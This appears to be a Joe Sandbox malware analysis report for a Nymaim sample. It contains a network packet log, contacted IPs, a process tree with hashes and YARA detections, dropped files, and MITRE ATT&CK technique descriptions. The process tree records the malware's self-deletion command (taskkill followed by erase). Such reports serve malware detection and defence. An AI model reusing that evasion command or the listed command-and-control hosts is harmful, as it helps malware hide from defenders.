Jan 8, 2023 16:11:53.394783020 CET	80	49713	107.182.129.235	192.168.2.7
Jan 8, 2023 16:11:53.395054102 CET	49713	80	192.168.2.7	107.182.129.235
Jan 8, 2023 16:11:53.444812059 CET	49713	80	192.168.2.7	107.182.129.235
Jan 8, 2023 16:11:53.471693993 CET	80	49713	107.182.129.235	192.168.2.7
Jan 8, 2023 16:11:53.472105980 CET	80	49713	107.182.129.235	192.168.2.7
Jan 8, 2023 16:11:53.472151041 CET	80	49713	107.182.129.235	192.168.2.7
Jan 8, 2023 16:11:53.472182035 CET	80	49713	107.182.129.235	192.168.2.7
Jan 8, 2023 16:11:53.472213030 CET	80	49713	107.182.129.235	192.168.2.7
Jan 8, 2023 16:11:53.472229958 CET	49713	80	192.168.2.7	107.182.129.235
Jan 8, 2023 16:11:53.472249031 CET	80	49713	107.182.129.235	192.168.2.7
Jan 8, 2023 16:11:53.472260952 CET	49713	80	192.168.2.7	107.182.129.235
Jan 8, 2023 16:11:53.472285032 CET	80	49713	107.182.129.235	192.168.2.7
Jan 8, 2023 16:11:53.472286940 CET	49713	80	192.168.2.7	107.182.129.235
Jan 8, 2023 16:11:53.472318888 CET	49713	80	192.168.2.7	107.182.129.235
Jan 8, 2023 16:11:53.472328901 CET	80	49713	107.182.129.235	192.168.2.7
Jan 8, 2023 16:11:53.472336054 CET	49713	80	192.168.2.7	107.182.129.235
Jan 8, 2023 16:11:53.472378016 CET	49713	80	192.168.2.7	107.182.129.235
Jan 8, 2023 16:11:53.472379923 CET	80	49713	107.182.129.235	192.168.2.7
Jan 8, 2023 16:11:53.472430944 CET	49713	80	192.168.2.7	107.182.129.235
Jan 8, 2023 16:11:53.472512960 CET	80	49713	107.182.129.235	192.168.2.7
Jan 8, 2023 16:11:53.472558975 CET	80	49713	107.182.129.235	192.168.2.7
Jan 8, 2023 16:11:53.472568989 CET	49713	80	192.168.2.7	107.182.129.235
Jan 8, 2023 16:11:53.472841978 CET	49713	80	192.168.2.7	107.182.129.235
Jan 8, 2023 16:11:53.499299049 CET	80	49713	107.182.129.235	192.168.2.7
Jan 8, 2023 16:11:53.499370098 CET	80	49713	107.182.129.235	192.168.2.7
Jan 8, 2023 16:11:53.499414921 CET	80	49713	107.182.129.235	192.168.2.7
Jan 8, 2023 16:11:53.499475002 CET	80	49713	107.182.129.235	192.168.2.7
Jan 8, 2023 16:11:53.499516010 CET	80	49713	107.182.129.235	192.168.2.7
Jan 8, 2023 16:11:53.499542952 CET	49713	80	192.168.2.7	107.182.129.235
Jan 8, 2023 16:11:53.499555111 CET	80	49713	107.182.129.235	192.168.2.7
Jan 8, 2023 16:11:53.499572992 CET	49713	80	192.168.2.7	107.182.129.235
Jan 8, 2023 16:11:53.499594927 CET	49713	80	192.168.2.7	107.182.129.235
Jan 8, 2023 16:11:53.499622107 CET	49713	80	192.168.2.7	107.182.129.235
Jan 8, 2023 16:11:53.499630928 CET	80	49713	107.182.129.235	192.168.2.7
Jan 8, 2023 16:11:53.499686003 CET	49713	80	192.168.2.7	107.182.129.235
Jan 8, 2023 16:11:53.499788046 CET	80	49713	107.182.129.235	192.168.2.7
Jan 8, 2023 16:11:53.499833107 CET	80	49713	107.182.129.235	192.168.2.7
Jan 8, 2023 16:11:53.499860048 CET	80	49713	107.182.129.235	192.168.2.7
Jan 8, 2023 16:11:53.499886990 CET	80	49713	107.182.129.235	192.168.2.7
Jan 8, 2023 16:11:53.499912977 CET	80	49713	107.182.129.235	192.168.2.7
Jan 8, 2023 16:11:53.499939919 CET	80	49713	107.182.129.235	192.168.2.7
Jan 8, 2023 16:11:53.499969006 CET	80	49713	107.182.129.235	192.168.2.7
Jan 8, 2023 16:11:53.500005960 CET	80	49713	107.182.129.235	192.168.2.7
Jan 8, 2023 16:11:53.500040054 CET	49713	80	192.168.2.7	107.182.129.235
Jan 8, 2023 16:11:53.500049114 CET	80	49713	107.182.129.235	192.168.2.7
Jan 8, 2023 16:11:53.500077963 CET	49713	80	192.168.2.7	107.182.129.235
Jan 8, 2023 16:11:53.500086069 CET	80	49713	107.182.129.235	192.168.2.7
Jan 8, 2023 16:11:53.500102043 CET	49713	80	192.168.2.7	107.182.129.235
Jan 8, 2023 16:11:53.500113010 CET	80	49713	107.182.129.235	192.168.2.7
Jan 8, 2023 16:11:53.500137091 CET	49713	80	192.168.2.7	107.182.129.235
Jan 8, 2023 16:11:53.500139952 CET	80	49713	107.182.129.235	192.168.2.7
Jan 8, 2023 16:11:53.500159025 CET	49713	80	192.168.2.7	107.182.129.235
Jan 8, 2023 16:11:53.500166893 CET	80	49713	107.182.129.235	192.168.2.7
Jan 8, 2023 16:11:53.500186920 CET	49713	80	192.168.2.7	107.182.129.235
Jan 8, 2023 16:11:53.500231028 CET	49713	80	192.168.2.7	107.182.129.235
Jan 8, 2023 16:11:53.527118921 CET	80	49713	107.182.129.235	192.168.2.7
Jan 8, 2023 16:11:53.527157068 CET	80	49713	107.182.129.235	192.168.2.7
Jan 8, 2023 16:11:53.527194023 CET	80	49713	107.182.129.235	192.168.2.7
Jan 8, 2023 16:11:53.527213097 CET	80	49713	107.182.129.235	192.168.2.7
Jan 8, 2023 16:11:53.527232885 CET	80	49713	107.182.129.235	192.168.2.7
Jan 8, 2023 16:11:53.527252913 CET	80	49713	107.182.129.235	192.168.2.7
Jan 8, 2023 16:11:53.527273893 CET	80	49713	107.182.129.235	192.168.2.7
Jan 8, 2023 16:11:53.527283907 CET	49713	80	192.168.2.7	107.182.129.235
Jan 8, 2023 16:11:53.527323961 CET	80	49713	107.182.129.235	192.168.2.7
Jan 8, 2023 16:11:53.527345896 CET	80	49713	107.182.129.235	192.168.2.7
Jan 8, 2023 16:11:53.527345896 CET	49713	80	192.168.2.7	107.182.129.235
Jan 8, 2023 16:11:53.527363062 CET	49713	80	192.168.2.7	107.182.129.235
Jan 8, 2023 16:11:53.527365923 CET	80	49713	107.182.129.235	192.168.2.7
Jan 8, 2023 16:11:53.527388096 CET	80	49713	107.182.129.235	192.168.2.7
Jan 8, 2023 16:11:53.527389050 CET	49713	80	192.168.2.7	107.182.129.235
Jan 8, 2023 16:11:53.527409077 CET	80	49713	107.182.129.235	192.168.2.7
Jan 8, 2023 16:11:53.527410984 CET	49713	80	192.168.2.7	107.182.129.235
Jan 8, 2023 16:11:53.527431965 CET	80	49713	107.182.129.235	192.168.2.7
Jan 8, 2023 16:11:53.527441978 CET	49713	80	192.168.2.7	107.182.129.235
Jan 8, 2023 16:11:53.527451992 CET	80	49713	107.182.129.235	192.168.2.7
Jan 8, 2023 16:11:53.527457952 CET	49713	80	192.168.2.7	107.182.129.235
Jan 8, 2023 16:11:53.527472973 CET	80	49713	107.182.129.235	192.168.2.7
Jan 8, 2023 16:11:53.527479887 CET	49713	80	192.168.2.7	107.182.129.235
Jan 8, 2023 16:11:53.527493954 CET	80	49713	107.182.129.235	192.168.2.7
Jan 8, 2023 16:11:53.527501106 CET	49713	80	192.168.2.7	107.182.129.235
Jan 8, 2023 16:11:53.527513981 CET	80	49713	107.182.129.235	192.168.2.7
Jan 8, 2023 16:11:53.527519941 CET	49713	80	192.168.2.7	107.182.129.235
Jan 8, 2023 16:11:53.527534008 CET	80	49713	107.182.129.235	192.168.2.7
Jan 8, 2023 16:11:53.527539015 CET	49713	80	192.168.2.7	107.182.129.235
Jan 8, 2023 16:11:53.527554989 CET	80	49713	107.182.129.235	192.168.2.7
Jan 8, 2023 16:11:53.527559996 CET	49713	80	192.168.2.7	107.182.129.235
Jan 8, 2023 16:11:53.527574062 CET	80	49713	107.182.129.235	192.168.2.7
Jan 8, 2023 16:11:53.527581930 CET	49713	80	192.168.2.7	107.182.129.235

HTTP Request Dependency Graph

45.139.105.171

107.182.129.235

171.22.30.106

Target ID:	0
Start time:	16:11:43
Start date:	08/01/2023
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\file.exe
Imagebase:	0x400000
File size:	1918587 bytes
MD5 hash:	BC7001AFD99293BF22ADCDF0D30C564A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Analysis Process: file.tmpPID: 5864, Parent PID: 5860

General

Target ID:	1
Start time:	16:11:44
Start date:	08/01/2023
Path:	C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp" /SL5="$702C6,1650404,162304,C:\Users\user\Desktop\file.exe"
Imagebase:	0x400000
File size:	819200 bytes
MD5 hash:	7013A53C5472267941844ED17DE4DE3C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 2%, ReversingLabs
Reputation:	moderate

Analysis Process: HitFiles134.exePID: 1008, Parent PID: 5864

General

Target ID:	2
Start time:	16:11:47
Start date:	08/01/2023
Path:	C:\Program Files (x86)\Split Files\HitFiles134.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Split Files\HitFiles134.exe"
Imagebase:	0x400000
File size:	3329876 bytes
MD5 hash:	FB4704E7F6C63CAEB0D39F48B0792636
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Nymaim, Description: Yara detected Nymaim, Source: 00000002.00000002.332146458.0000000003330000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Nymaim, Description: Yara detected Nymaim, Source: 00000002.00000002.330440301.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Author: Joe Security Rule: JoeSecurity_Nymaim, Description: Yara detected Nymaim, Source: 00000002.00000002.332003406.00000000032D0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Analysis Process: 3JCCsnPwg.exePID: 5144, Parent PID: 1008

General

Target ID:	3
Start time:	16:11:51
Start date:	08/01/2023
Path:	C:\Users\user\AppData\Roaming\{e6e9dfa8-98f2-11e9-90ce-806e6f6e6963}\3JCCsnPwg.exe
Wow64 process (32bit):	true
Commandline:
Imagebase:	0xcb0000
File size:	73728 bytes
MD5 hash:	3FB36CB0B7172E5298D2992D42984D06
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 60%, ReversingLabs
Reputation:	high

Analysis Process: cmd.exePID: 2380, Parent PID: 1008

General

Target ID:	11
Start time:	16:12:22
Start date:	08/01/2023
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c taskkill /im "HitFiles134.exe" /f & erase "C:\Program Files (x86)\Split Files\HitFiles134.exe" & exit
Imagebase:	0xa60000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: conhost.exePID: 2228, Parent PID: 2380

General

Target ID:	12
Start time:	16:12:22
Start date:	08/01/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6edaf0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: taskkill.exePID: 5188, Parent PID: 2380

General

Target ID:	13
Start time:	16:12:22
Start date:	08/01/2023
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /im "HitFiles134.exe" /f
Imagebase:	0x11a0000
File size:	74752 bytes
MD5 hash:	15E2E0ACD891510C6268CB8899F2A1A1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Disassembly

⊘No disassembly

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to collect elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Application logs, Process monitoring, Windows Error Reporting
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Nymaim

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\Split Files\HitFiles134.exe

C:\Program Files (x86)\Split Files\ReadMe - EN.txt (copy)

C:\Program Files (x86)\Split Files\ReadMe - RU.txt (copy)

C:\Program Files (x86)\Split Files\is-NN8RP.tmp

C:\Program Files (x86)\Split Files\is-S7F6P.tmp

C:\Program Files (x86)\Split Files\is-ULQSL.tmp

C:\Program Files (x86)\Split Files\is-UUBG5.tmp

C:\Program Files (x86)\Split Files\is-VJ0TT.tmp

C:\Program Files (x86)\Split Files\language\Arabic.ini (copy)

C:\Program Files (x86)\Split Files\language\Chinese.ini (copy)

C:\Program Files (x86)\Split Files\language\Dutch.ini (copy)

C:\Program Files (x86)\Split Files\language\English.ini (copy)

C:\Program Files (x86)\Split Files\language\French.ini (copy)

C:\Program Files (x86)\Split Files\language\Italian.ini (copy)

C:\Program Files (x86)\Split Files\language\Russian.ini (copy)

Windows Analysis Report
file.exe

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer.Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.
Tactics:	Impact
Data Sources:	Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre